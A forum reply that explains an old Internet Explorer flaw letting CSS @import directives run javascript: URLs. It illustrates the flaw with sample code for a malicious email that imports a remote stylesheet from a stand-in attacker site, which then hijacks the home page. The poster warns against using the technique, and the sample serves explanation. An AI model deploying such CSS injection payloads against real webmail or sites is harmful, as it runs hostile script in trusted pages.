Wulfgen said:
What am I not explaining right here?
Why exactly you want to do what you are asking? Why would it matter whether you opened the CSS file to see the location of the js file or viewed the source.
However, I do believe the technique you are referring to is injecting javascript into the @import CSS directive leveraging the fact that it registers javascript: as a valid URL protocol.
I would recommend you don't go down this route. It only 'works' in ie, only for line by line javascript code (not whole .js files) and it's not meant to work that way at all. It's actually considered a security flaw in IE and will more than likely get nerfed in an update sometime soon.
The problem is as follows:
A malicious individual sends some unsolicited email to people using browser based email systems. Most of these have pretty good javascript filtering to avoid nasty things happening like your home page being set to
when you open the email. However, they do allow HTML email with CSS. So in the malicious email, the nasty person would put an innocuous enough couple of lines like:
Code:
<style>
@import(url([URL unfurl="true"]http://www.mypornsite.com/maliciouscode.css));[/URL]
</style>
Which is cool, just importing a stylesheet right?
If that stylesheet is simply made up of mangled @import directives, like so:
Code:
@import(url(javascript:window.external.setHomePage('[URL unfurl="true"]http://www.mypornsite.com');[/URL]
@import(url(javascript:alert('malicious code complete!')));
What you're really doing is the equivalent of running a JS file.... a nasty one, cross domain, in what is probably a trusted site.
Never be afraid to share your dreams with the world.
There's nothing the world loves more than the taste of really sweet dreams.